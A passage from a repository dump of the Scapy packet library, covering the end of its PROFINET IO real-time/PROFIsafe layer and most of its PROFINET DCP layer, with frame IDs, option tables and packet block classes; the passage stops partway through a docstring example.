    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2016 Gauthier Sebaux\n\n# scapy.contrib.description = ProfinetIO RTC (+Profisafe) layer\n# scapy.contrib.status = loads\nimport copy\nfrom scapy.compat import raw\nfrom scapy.error import Scapy_Exception\nfrom scapy.config import conf\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.layers.l2 import Ether\nfrom scapy.layers.inet import UDP\nfrom scapy.fields import (\n    XShortEnumField, BitEnumField, XBitField,\n    BitField, StrField, PacketListField,\n    StrFixedLenField, ShortField,\n    FlagsField, ByteField, XIntField, X3BytesField\n)\n\nPNIO_FRAME_IDS = {\n    0x0020: \"PTCP-RTSyncPDU-followup\",\n    0x0080: \"PTCP-RTSyncPDU\",\n    0xFC01: \"Alarm High\",\n    0xFE01: \"Alarm Low\",\n    0xFEFC: \"DCP-Hello-Req\",\n    0xFEFD: \"DCP-Get-Set\",\n    0xFEFE: \"DCP-Identify-ReqPDU\",\n    0xFEFF: \"DCP-Identify-ResPDU\",\n    0xFF00: \"PTCP-AnnouncePDU\",\n    0xFF20: \"PTCP-FollowUpPDU\",\n    0xFF40: \"PTCP-DelayReqPDU\",\n    0xFF41: \"PTCP-DelayResPDU-followup\",\n    0xFF42: \"PTCP-DelayFuResPDU\",\n    0xFF43: \"PTCP-DelayResPDU\",\n}\n\n\ndef i2s_frameid(x):\n    \"\"\" Get representation name of a pnio frame ID\n\n    :param x: a key of the PNIO_FRAME_IDS dictionary\n    :returns: str\n    \"\"\"\n    try:\n        return PNIO_FRAME_IDS[x]\n    except KeyError:\n        pass\n    if 0x0100 <= x < 0x1000:\n        return \"RT_CLASS_3 (%4x)\" % x\n    if 0x8000 <= x < 0xC000:\n        return \"RT_CLASS_1 (%4x)\" % x\n    if 0xC000 <= x < 0xFC00:\n        return \"RT_CLASS_UDP (%4x)\" % x\n    if 0xFF80 <= x < 0xFF90:\n        return \"FragmentationFrameID (%4x)\" % x\n    return x\n\n\ndef s2i_frameid(x):\n    \"\"\" Get pnio frame ID from a representation name\n\n    Performs a reverse look-up in PNIO_FRAME_IDS dictionary\n\n    :param x: a value of PNIO_FRAME_IDS dict\n    :returns: integer\n    \"\"\"\n    try:\n        return {\n            \"RT_CLASS_3\": 0x0100,\n            \"RT_CLASS_1\": 0x8000,\n            \"RT_CLASS_UDP\": 0xC000,\n            \"FragmentationFrameID\": 0xFF80,\n        }[x]\n    except KeyError:\n        pass\n    try:\n        return next(key for key, value in PNIO_FRAME_IDS.items()\n                    if value == x)\n    except StopIteration:\n        pass\n    return x\n\n\n#################\n#  PROFINET IO  #\n#################\n\nclass ProfinetIO(Packet):\n    \"\"\" Basic PROFINET IO dispatcher \"\"\"\n    fields_desc = [\n        XShortEnumField(\"frameID\", 0, (i2s_frameid, s2i_frameid))\n    ]\n\n    def guess_payload_class(self, payload):\n        # For frameID in the RT_CLASS_* range, use the RTC packet as payload\n        if self.frameID in [0xfefe, 0xfeff, 0xfefd]:\n            from scapy.contrib.pnio_dcp import ProfinetDCP\n            return ProfinetDCP\n        elif self.frameID == 0xFE01:\n            from scapy.contrib.pnio_rpc import Alarm_Low\n            return Alarm_Low\n        elif self.frameID == 0xFC01:\n            from scapy.contrib.pnio_rpc import Alarm_High\n            return Alarm_High\n        elif (\n                (0x0100 <= self.frameID < 0x1000) or\n                (0x8000 <= self.frameID < 0xFC00)\n\n\n        ):\n            return PNIORealTimeCyclicPDU\n        return super(ProfinetIO, self).guess_payload_class(payload)\n\n\nbind_layers(Ether, ProfinetIO, type=0x8892)\nbind_layers(UDP, ProfinetIO, dport=0x8892)\n\n\n#####################################\n#  PROFINET Real-Time Data Packets  #\n#####################################\n\nconf.contribs[\"PNIO_RTC\"] = {}\n\n\nclass PNIORealTime_IOxS(Packet):\n    \"\"\" IOCS and IOPS packets for PROFINET Real-Time payload \"\"\"\n    name = \"PNIO RTC IOxS\"\n    fields_desc = [\n        # IOxS.DataState -- IEC-61158 - 6 - 10 / FDIS ED 3, Table 181\n        BitEnumField(\"dataState\", 1, 1, [\"bad\", \"good\"]),\n        # IOxS.Instance -- IEC-61158 - 6 - 10 / FDIS ED 3, Table 180\n        BitEnumField(\"instance\", 0, 2,\n                     [\"subslot\", \"slot\", \"device\", \"controller\"]),\n        # IOxS.reserved -- IEC-61158 - 6 - 10 / FDIS ED 3, line 2649\n        XBitField(\"reserved\", 0, 4),\n        # IOxS.Extension -- IEC-61158-6-10/FDIS ED 3, Table 179\n        BitField(\"extension\", 0, 1),\n    ]\n\n    @classmethod\n    def is_extension_set(cls, _pkt, _lst, p, _remain):\n        ret = cls if isinstance(p, type(None)) or p.extension != 0 else None\n        return ret\n\n    @classmethod\n    def get_len(cls):\n        return sum(type(fld).i2len(None, 0) for fld in cls.fields_desc)\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass PNIORealTimeCyclicDefaultRawData(Packet):\n    name = \"PROFINET IO Real Time Cyclic Default Raw Data\"\n    fields_desc = [\n        # 4 is the sum of the size of the CycleCounter + DataStatus\n        #     + TransferStatus trailing from PNIORealTimeCyclicPDU\n        StrField(\"data\", '', remain=4)\n    ]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass PNIORealTimeCyclicPDU(Packet):\n    \"\"\" PROFINET cyclic real-time \"\"\"\n    __slots__ = [\"_len\", \"_layout\"]\n    name = \"PROFINET Real-Time\"\n\n    fields_desc = [\n        # C_SDU ^ CSF_SDU -- IEC-61158-6-10/FDIS ED 3, Table 163\n        PacketListField(\n            \"data\", [],\n            next_cls_cb=lambda pkt, lst, p, remain: pkt.next_cls_cb(\n                lst, p, remain)\n        ),\n        # RTCPadding -- IEC - 61158 - 6 - 10 / FDIS ED 3, Table 163\n        StrFixedLenField(\"padding\", '',\n                         length_from=lambda p: p.get_padding_length()),\n        # APDU_Status -- IEC-61158-6-10/FDIS ED 3, Table 164\n        ShortField(\"cycleCounter\", 0),\n        FlagsField(\"dataStatus\", 0x35, 8, [\n            \"primary\",\n            \"redundancy\",\n            \"validData\",\n            \"reserved_1\",\n            \"run\",\n            \"no_problem\",\n            \"reserved_2\",\n            \"ignore\",\n        ]),\n        ByteField(\"transferStatus\", 0)\n    ]\n\n    def pre_dissect(self, s):\n        # Constraint from IEC-61158-6-10/FDIS ED 3, line 690\n        self._len = min(1440, len(s))\n        return s\n\n    def get_padding_length(self):\n        if hasattr(self, \"_len\"):\n            pad_len = (\n                self._len -\n                sum(len(raw(pkt)) for pkt in self.getfieldval(\"data\")) -\n                2 -  # Cycle Counter size (ShortField)\n                1 -  # DataStatus size (FlagsField over 8 bits)\n                1  # TransferStatus (ByteField)\n            )\n        else:\n            pad_len = len(self.getfieldval(\"padding\"))\n\n        # Constraints from IEC-61158-6-10/FDIS ED 3, Table 163\n        assert 0 <= pad_len <= 40\n        q = self\n        while not isinstance(q, UDP) and hasattr(q, \"underlayer\"):\n            q = q.underlayer\n        if isinstance(q, UDP):\n            assert 0 <= pad_len <= 12\n        return pad_len\n\n    def next_cls_cb(self, _lst, _p, _remain):\n        if hasattr(self, \"_layout\") and isinstance(self._layout, list):\n            try:\n                return self._layout.pop(0)\n            except IndexError:\n                self._layout = None\n                return None\n\n        ether_layer = None\n        q = self\n        while not isinstance(q, Ether) and hasattr(q, \"underlayer\"):\n            q = q.underlayer\n        if isinstance(q, Ether):\n            ether_layer = q\n\n        pnio_layer = None\n        q = self\n        while not isinstance(q, ProfinetIO) and hasattr(q, \"underlayer\"):\n            q = q.underlayer\n        if isinstance(q, ProfinetIO):\n            pnio_layer = q\n\n        self._layout = [PNIORealTimeCyclicDefaultRawData]\n        if not (ether_layer is None and pnio_layer is None):\n            # Get from config the layout for these hosts and frameid\n            layout = type(self).get_layout_from_config(\n                ether_layer.src,\n                ether_layer.dst,\n                pnio_layer.frameID)\n            if not isinstance(layout, type(None)):\n                self._layout = layout\n\n        return self._layout.pop(0)\n\n    @staticmethod\n    def get_layout_from_config(ether_src, ether_dst, frame_id):\n        try:\n            return copy.deepcopy(\n                conf.contribs[\"PNIO_RTC\"][(ether_src, ether_dst, frame_id)]\n            )\n        except KeyError:\n            return None\n\n    @staticmethod\n    def build_fixed_len_raw_type(length):\n        return type(\n            \"FixedLenRawPacketLen{}\".format(length),\n            (conf.raw_layer,),\n            {\n                \"name\": \"FixedLenRawPacketLen{}\".format(length),\n                \"fields_desc\": [StrFixedLenField(\"data\", '', length=length)],\n                \"get_data_length\": lambda _: length,\n                \"guess_payload_class\": lambda self, p: conf.padding_layer,\n            }\n        )\n\n\n# From IEC 61784-3-3 Ed. 3 PROFIsafe v.2.6, Figure 20\nprofisafe_control_flags = [\n    \"iPar_EN\", \"OA_Req\", \"R_cons_nr\", \"Use_TO2\",\n    \"activate_FV\", \"Toggle_h\", \"ChF_Ack\", \"Loopcheck\"\n]\n# From IEC 61784-3-3 Ed. 3 PROFIsafe v.2.6, Figure 19\nprofisafe_status_flags = [\n    \"iPar_OK\", \"Device_Fault/ChF_Ack_Req\", \"CE_CRC\",\n    \"WD_timeout\", \"FV_activated\", \"Toggle_d\", \"cons_nr_R\", \"reserved\"\n]\n\n\nclass PROFIsafeCRCSeed(Packet):\n    __slots__ = [\"_len\"] + Packet.__slots__\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n    def get_data_length(self):\n        \"\"\" Must be overridden in a subclass to return the correct value \"\"\"\n        raise Scapy_Exception(\n            \"This method must be overridden in a specific subclass\"\n        )\n\n    def get_mandatory_fields_len(self):\n        # 5 is the len of the control/status byte + the CRC length\n        return 5\n\n    @staticmethod\n    def get_max_data_length():\n        # Constraints from IEC-61784-3-3 ED 3, Figure 18\n        return 13\n\n\nclass PROFIsafeControlCRCSeed(PROFIsafeCRCSeed):\n    name = \"PROFISafe Control Message with F_CRC_Seed=1\"\n    fields_desc = [\n        StrFixedLenField(\"data\", '',\n                         length_from=lambda p: p.get_data_length()),\n        FlagsField(\"control\", 0, 8, profisafe_control_flags),\n        XIntField(\"crc\", 0)\n    ]\n\n\nclass PROFIsafeStatusCRCSeed(PROFIsafeCRCSeed):\n    name = \"PROFISafe Status Message with F_CRC_Seed=1\"\n    fields_desc = [\n        StrFixedLenField(\"data\", '',\n                         length_from=lambda p: p.get_data_length()),\n        FlagsField(\"status\", 0, 8, profisafe_status_flags),\n        XIntField(\"crc\", 0)\n    ]\n\n\nclass PROFIsafe(Packet):\n    __slots__ = [\"_len\"] + Packet.__slots__\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n    def get_data_length(self):\n        \"\"\" Must be overridden in a subclass to return the correct value \"\"\"\n        raise Scapy_Exception(\n            \"This method must be overridden in a specific subclass\"\n        )\n\n    def get_mandatory_fields_len(self):\n        # 4 is the len of the control/status byte + the CRC length\n        return 4\n\n    @staticmethod\n    def get_max_data_length():\n        # Constraints from IEC-61784-3-3 ED 3, Figure 18\n        return 12\n\n    @staticmethod\n    def build_PROFIsafe_class(cls, data_length):\n        assert cls.get_max_data_length() >= data_length\n        return type(\n            \"{}Len{}\".format(cls.__name__, data_length),\n            (cls,),\n            {\n                \"get_data_length\": lambda _: data_length,\n            }\n        )\n\n\nclass PROFIsafeControl(PROFIsafe):\n    name = \"PROFISafe Control Message with F_CRC_Seed=0\"\n    fields_desc = [\n        StrFixedLenField(\"data\", '',\n                         length_from=lambda p: p.get_data_length()),\n        FlagsField(\"control\", 0, 8, profisafe_control_flags),\n        X3BytesField(\"crc\", 0)\n    ]\n\n\nclass PROFIsafeStatus(PROFIsafe):\n    name = \"PROFISafe Status Message with F_CRC_Seed=0\"\n    fields_desc = [\n        StrFixedLenField(\"data\", '',\n                         length_from=lambda p: p.get_data_length()),\n        FlagsField(\"status\", 0, 8, profisafe_status_flags),\n        X3BytesField(\"crc\", 0)\n    ]\n"
  },
  {
    "path": "scapy/contrib/pnio_dcp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2019 Stefan Mehner (stefan.mehner@b-tu.de)\n\n# scapy.contrib.description = Profinet DCP layer\n# scapy.contrib.status = loads\n\nfrom scapy.compat import orb\nfrom scapy.all import Packet, bind_layers, Padding\nfrom scapy.fields import (\n    ByteEnumField,\n    ConditionalField,\n    FieldLenField,\n    FieldListField,\n    IPField,\n    LenField,\n    MACField,\n    MultiEnumField,\n    MultipleTypeField,\n    PacketListField,\n    PadField,\n    ShortEnumField,\n    ShortField,\n    StrLenField,\n    XByteField,\n    XIntField,\n    XShortField,\n)\n\n# minimum packet is 60 bytes.. 14 bytes are Ether()\nMIN_PACKET_LENGTH = 44\n\n#####################################################\n#                     Constants                     #\n#####################################################\n\nDCP_GET_SET_FRAME_ID = 0xFEFD\nDCP_IDENTIFY_REQUEST_FRAME_ID = 0xFEFE\nDCP_IDENTIFY_RESPONSE_FRAME_ID = 0xFEFF\n\nDCP_REQUEST = 0x00\nDCP_RESPONSE = 0x01\n\nDCP_SERVICE_ID_GET = 0x03\nDCP_SERVICE_ID_SET = 0x04\nDCP_SERVICE_ID_IDENTIFY = 0x05\n\nDCP_SERVICE_ID = {\n    0x00: \"reserved\",\n    0x01: \"Manufacturer specific\",\n    0x02: \"Manufacturer specific\",\n    0x03: \"Get\",\n    0x04: \"Set\",\n    0x05: \"Identify\",\n    0x06: \"Hello\",\n}\n\nDCP_SERVICE_TYPE = {\n    0x00: \"Request\",\n    0x01: \"Response Success\",\n    0x05: \"Response - Request not supported\",\n}\n\nDCP_DEVICE_ROLES = {\n    0x00: \"IO Supervisor\",\n    0x01: \"IO Device\",\n    0x02: \"IO Controller\",\n\n}\n\nDCP_OPTIONS = {\n    0x00: \"reserved\",\n    0x01: \"IP\",\n    0x02: \"Device properties\",\n    0x03: \"DHCP\",\n    0x04: \"Reserved\",\n    0x05: \"Control\",\n    0x06: \"Device Initiative\",\n    0xff: \"All Selector\"\n}\nDCP_OPTIONS.update({i: \"reserved\" for i in range(0x07, 0x7f)})\nDCP_OPTIONS.update({i: \"Manufacturer specific\" for i in range(0x80, 0xfe)})\n\nDCP_SUBOPTIONS = {\n    # ip\n    0x01: {\n        0x00: \"Reserved\",\n        0x01: \"MAC Address\",\n        0x02: \"IP Parameter\",\n        0x03: \"Full IP Suite\",\n    },\n    # device properties\n    0x02: {\n        0x00: \"Reserved\",\n        0x01: \"Manufacturer specific (Type of Station)\",\n        0x02: \"Name of Station\",\n        0x03: \"Device ID\",\n        0x04: \"Device Role\",\n        0x05: \"Device Options\",\n        0x06: \"Alias Name\",\n        0x07: \"Device Instance\",\n        0x08: \"OEM Device ID\",\n    },\n    # dhcp\n    0x03: {\n        0x0c: \"Host name\",\n        0x2b: \"Vendor specific\",\n        0x36: \"Server identifier\",\n        0x37: \"Parameter request list\",\n        0x3c: \"Class identifier\",\n        0x3d: \"DHCP client identifier\",\n        0x51: \"FQDN, Fully Qualified Domain Name\",\n        0x61: \"UUID/GUID-based Client\",\n        0xff: \"Control DHCP for address resolution\"\n    },\n    # control\n    0x05: {\n        0x00: \"Reserved\",\n        0x01: \"Start Transaction\",\n        0x02: \"End Transaction\",\n        0x03: \"Signal\",\n        0x04: \"Response\",\n        0x05: \"Reset Factory Settings\",\n        0x06: \"Reset to Factory\"\n    },\n    # device initiative\n    0x06: {\n        0x00: \"Reserved\",\n        0x01: \"Device Initiative\"\n    },\n    0xff: {\n        0xff: \"ALL Selector\"\n    }\n}\n\nBLOCK_INFOS = {\n    0x00: \"Reserved\",\n}\nBLOCK_INFOS.update({i: \"reserved\" for i in range(0x01, 0xff)})\n\n\nIP_BLOCK_INFOS = {\n    0x0000: \"IP not set\",\n    0x0001: \"IP set\",\n    0x0002: \"IP set by DHCP\",\n    0x0080: \"IP not set (address conflict detected)\",\n    0x0081: \"IP set (address conflict detected)\",\n    0x0082: \"IP set by DHCP (address conflict detected)\",\n}\nIP_BLOCK_INFOS.update({i: \"reserved\" for i in range(0x0003, 0x007f)})\n\nBLOCK_ERRORS = {\n    0x00: \"Ok\",\n    0x01: \"Option unsupp.\",\n    0x02: \"Suboption unsupp. or no DataSet avail.\",\n    0x03: \"Suboption not set\",\n    0x04: \"Resource Error\",\n    0x05: \"SET not possible by local reasons\",\n    0x06: \"In operation, SET not possible\",\n}\n\nBLOCK_QUALIFIERS = {\n    0x0000: \"Use the value temporary\",\n    0x0001: \"Save the value permanent\",\n}\nBLOCK_QUALIFIERS.update({i: \"reserved\" for i in range(0x0002, 0x00ff)})\n\n\n#####################################################\n#                     DCP Blocks                    #\n#####################################################\n\n# GENERIC DCP BLOCK\n\n# DCP RESPONSE BLOCKS\n\nclass DCPBaseBlock(Packet):\n    \"\"\"\n        base class for all DCP Blocks\n    \"\"\"\n    fields_desc = [\n        ByteEnumField(\"option\", 1, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 2, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        FieldLenField(\"dcp_block_length\", None, length_of=\"data\"),\n        ShortEnumField(\"block_info\", 0, BLOCK_INFOS),\n        StrLenField(\"data\", \"\", length_from=lambda x: x.dcp_block_length),\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\n# OPTION: IP\n\nclass DCPIPBlock(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 1, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 2, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        LenField(\"dcp_block_length\", None),\n        ShortEnumField(\"block_info\", 1, IP_BLOCK_INFOS),\n        IPField(\"ip\", \"192.168.0.2\"),\n        IPField(\"netmask\", \"255.255.255.0\"),\n        IPField(\"gateway\", \"192.168.0.1\"),\n        PadField(StrLenField(\"padding\", b\"\\x00\",\n                             length_from=lambda p: p.dcp_block_length % 2), 1,\n                 padwith=b\"\\x00\")\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DCPFullIPBlock(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 1, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 3, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        LenField(\"dcp_block_length\", None),\n        ShortEnumField(\"block_info\", 1, IP_BLOCK_INFOS),\n        IPField(\"ip\", \"192.168.0.2\"),\n        IPField(\"netmask\", \"255.255.255.0\"),\n        IPField(\"gateway\", \"192.168.0.1\"),\n        FieldListField(\"dnsaddr\", [], IPField(\"\", \"0.0.0.0\"),\n                       count_from=lambda x: 4),\n        PadField(StrLenField(\"padding\", b\"\\x00\",\n                             length_from=lambda p: p.dcp_block_length % 2), 1,\n                 padwith=b\"\\x00\")\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DCPMACBlock(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 1, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 1, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        FieldLenField(\"dcp_block_length\", None),\n        ShortEnumField(\"block_info\", 0, BLOCK_INFOS),\n        MACField(\"mac\", \"00:00:00:00:00:00\"),\n        PadField(StrLenField(\"padding\", b\"\\x00\",\n                             length_from=lambda p: p.dcp_block_length % 2), 1,\n                 padwith=b\"\\x00\")\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\n# OPTION: Device Properties\n\nclass DCPManufacturerSpecificBlock(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 2, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 1, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        FieldLenField(\"dcp_block_length\", None),\n        ShortEnumField(\"block_info\", 0, BLOCK_INFOS),\n        StrLenField(\"device_vendor_value\", \"et200sp\",\n                    length_from=lambda x: x.dcp_block_length - 2),\n        PadField(StrLenField(\"padding\", b\"\\x00\",\n                             length_from=lambda p: p.dcp_block_length % 2), 1,\n                 padwith=b\"\\x00\")\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DCPNameOfStationBlock(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 2, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 2, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        FieldLenField(\"dcp_block_length\", None, length_of=\"name_of_station\",\n                      adjust=lambda p, x: x + 2),\n\n        ShortEnumField(\"block_info\", 0, BLOCK_INFOS),\n        StrLenField(\"name_of_station\", \"et200sp\",\n                    length_from=lambda x: x.dcp_block_length - 2),\n        PadField(StrLenField(\"padding\", b\"\\x00\",\n                             length_from=lambda p: p.dcp_block_length % 2), 1,\n                 padwith=b\"\\x00\")\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DCPDeviceIDBlock(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 2, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 3, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        LenField(\"dcp_block_length\", None),\n        ShortEnumField(\"block_info\", 0, BLOCK_INFOS),\n        XShortField(\"vendor_id\", 0x002a),\n        XShortField(\"device_id\", 0x0313),\n        PadField(StrLenField(\"padding\", b\"\\x00\",\n                             length_from=lambda p: p.dcp_block_length % 2), 1,\n                 padwith=b\"\\x00\")\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DCPDeviceRoleBlock(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 2, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 4, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        LenField(\"dcp_block_length\", 4),\n        ShortEnumField(\"block_info\", 0, BLOCK_INFOS),\n        ByteEnumField(\"device_role_details\", 1, DCP_DEVICE_ROLES),\n        XByteField(\"reserved\", 0x00),\n        PadField(StrLenField(\"padding\", b\"\\x00\",\n                             length_from=lambda p: p.dcp_block_length % 2), 1,\n                 padwith=b\"\\x00\")\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\n# one DeviceOptionsBlock can contain 1..n different options\nclass DeviceOption(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 2, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 5, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DCPDeviceOptionsBlock(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 2, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 5, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        LenField(\"dcp_block_length\", None),\n        ShortEnumField(\"block_info\", 0, BLOCK_INFOS),\n\n        PacketListField(\"device_options\", [], DeviceOption,\n                        length_from=lambda p: p.dcp_block_length - 2),\n\n        PadField(StrLenField(\"padding\", b\"\\x00\",\n                             length_from=lambda p: p.dcp_block_length % 2), 1,\n                 padwith=b\"\\x00\")\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DCPAliasNameBlock(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 2, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 6, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        FieldLenField(\"dcp_block_length\", None, length_of=\"alias_name\",\n                      adjust=lambda p, x: x + 2),\n        ShortEnumField(\"block_info\", 0, BLOCK_INFOS),\n        StrLenField(\"alias_name\", \"et200sp\",\n                    length_from=lambda x: x.dcp_block_length - 2),\n        PadField(StrLenField(\"padding\", b\"\\x00\",\n                             length_from=lambda p: p.dcp_block_length % 2), 1,\n                 padwith=b\"\\x00\")\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DCPDeviceInstanceBlock(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 2, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 7, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        LenField(\"dcp_block_length\", 4),\n        ShortEnumField(\"block_info\", 0, BLOCK_INFOS),\n        XByteField(\"device_instance_high\", 0x00),\n        XByteField(\"device_instance_low\", 0x01),\n        PadField(StrLenField(\"padding\", b\"\\x00\",\n                             length_from=lambda p: p.dcp_block_length % 2), 1,\n                 padwith=b\"\\x00\")\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DCPOEMIDBlock(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 2, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 8, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        LenField(\"dcp_block_length\", None),\n        ShortEnumField(\"block_info\", 0, BLOCK_INFOS),\n        XShortField(\"vendor_id\", 0x002a),\n        XShortField(\"device_id\", 0x0313),\n        PadField(StrLenField(\"padding\", b\"\\x00\",\n                             length_from=lambda p: p.dcp_block_length % 2), 1,\n                 padwith=b\"\\x00\")\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DCPControlBlock(Packet):\n    fields_desc = [\n        ByteEnumField(\"option\", 5, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 4, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        LenField(\"dcp_block_length\", 3),\n        ByteEnumField(\"response\", 2, DCP_OPTIONS),\n        MultiEnumField(\"response_sub_option\", 2, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        ByteEnumField(\"block_error\", 0, BLOCK_ERRORS),\n        PadField(StrLenField(\"padding\", b\"\\x00\",\n                             length_from=lambda p: p.dcp_block_length % 2), 1,\n                 padwith=b\"\\x00\")\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DCPDeviceInitiativeBlock(Packet):\n    \"\"\"\n        device initiative DCP block\n    \"\"\"\n    fields_desc = [\n        ByteEnumField(\"option\", 6, DCP_OPTIONS),\n        MultiEnumField(\"sub_option\", 1, DCP_SUBOPTIONS, fmt='B',\n                       depends_on=lambda p: p.option),\n        FieldLenField(\"dcp_block_length\", None, length_of=\"device_initiative\"),\n        ShortEnumField(\"block_info\", 0, BLOCK_INFOS),\n        ShortField(\"device_initiative\", 1),\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\ndef guess_dcp_block_class(packet, **kargs):\n    \"\"\"\n    returns the correct dcp block class needed to dissect the current tag\n    if nothing can be found -> dcp base block will be used\n\n    :param packet: the current packet\n    :return: dcp block class\n    \"\"\"\n    # packet = unicode(packet, \"utf-8\")\n    option = orb(packet[0])\n    suboption = orb(packet[1])\n\n    # NOTE implement the other functions if needed\n\n    class_switch_case = {\n        # IP\n        0x01:\n            {\n                0x01: \"DCPMACBlock\",\n                0x02: \"DCPIPBlock\"\n            },\n        # Device Properties\n        0x02:\n            {\n                0x01: \"DCPManufacturerSpecificBlock\",\n                0x02: \"DCPNameOfStationBlock\",\n                0x03: \"DCPDeviceIDBlock\",\n                0x04: \"DCPDeviceRoleBlock\",\n                0x05: \"DCPDeviceOptionsBlock\",\n                0x06: \"DCPAliasNameBlock\",\n                0x07: \"DCPDeviceInstanceBlock\",\n                0x08: \"DCPOEMIDBlock\"\n            },\n        # DHCP\n        0x03:\n            {\n                0x0c: \"Host name\",\n                0x2b: \"Vendor specific\",\n                0x36: \"Server identifier\",\n                0x37: \"Parameter request list\",\n                0x3c: \"Class identifier\",\n                0x3d: \"DHCP client identifier\",\n                0x51: \"FQDN, Fully Qualified Domain Name\",\n                0x61: \"UUID/GUID-based Client\",\n                0xff: \"Control DHCP for address resolution\"\n            },\n        # Control\n        0x05:\n            {\n                0x00: \"Reserved (0x00)\",\n                0x01: \"Start Transaction (0x01)\",\n                0x02: \"End Transaction (0x02)\",\n                0x03: \"Signal (0x03)\",\n                0x04: \"DCPControlBlock\",\n                0x05: \"Reset Factory Settings (0x05)\",\n                0x06: \"Reset to Factory (0x06)\"\n            },\n        # Device Inactive\n        0x06:\n            {\n                0x00: \"Reserved (0x00)\",\n                0x01: \"DCPDeviceInitiativeBlock\"\n            },\n        # ALL Selector\n        0xff:\n            {\n                0xff: \"ALL Selector (0xff)\"\n            }\n    }\n\n    try:\n        c = class_switch_case[option][suboption]\n    except KeyError:\n        c = \"DCPBaseBlock\"\n\n    cls = globals()[c]\n    return cls(packet, **kargs)\n\n\n# GENERIC DCP PACKET\n\nclass ProfinetDCP(Packet):\n    \"\"\"\n    Profinet DCP Packet\n\n    Requests are handled via ConditionalField because here only 1 Block is used\n    every time.\n\n    Response can contain 1..n Blocks, for that you have to use one ProfinetDCP\n    Layer with one or multiple DCP*Block Layers::\n\n        ProfinetDCP / DCPNameOfStationBlock / DCPDeviceIDBlock ...\n\n    Example for a DCP Identify All Request::\n\n        Ether(dst=\"01:0e:cf:00:00:00\") /\n        ProfinetIO(frameID=DCP_IDENTIFY_REQUEST_FRAME_ID) /\n        ProfinetDCP(service_id=DCP_SERVICE_ID_IDENTIFY,\n            service_type=DCP_REQUEST, option=255, sub_option=255,\n            dcp_data_length=4)\n\n    Example for a DCP Identify Response::\n\n        Ether(dst=dst_mac) /\n        ProfinetIO(frameID=DCP_IDENTIFY_RESPONSE_FRAME_ID) /\n        ProfinetDCP(\n            service_id=DCP_SERVICE_ID_IDENTIFY,\n            service_type=DCP_RESPONSE) /\n        DCPNameOfStationBlock(name_of_station=\"device1\")\n\n    Example for a DCP Set Request::\n\n        Ether(dst=mac) /\n        ProfinetIO(frameID=DCP_GET_SET_FRAME_ID) /\n        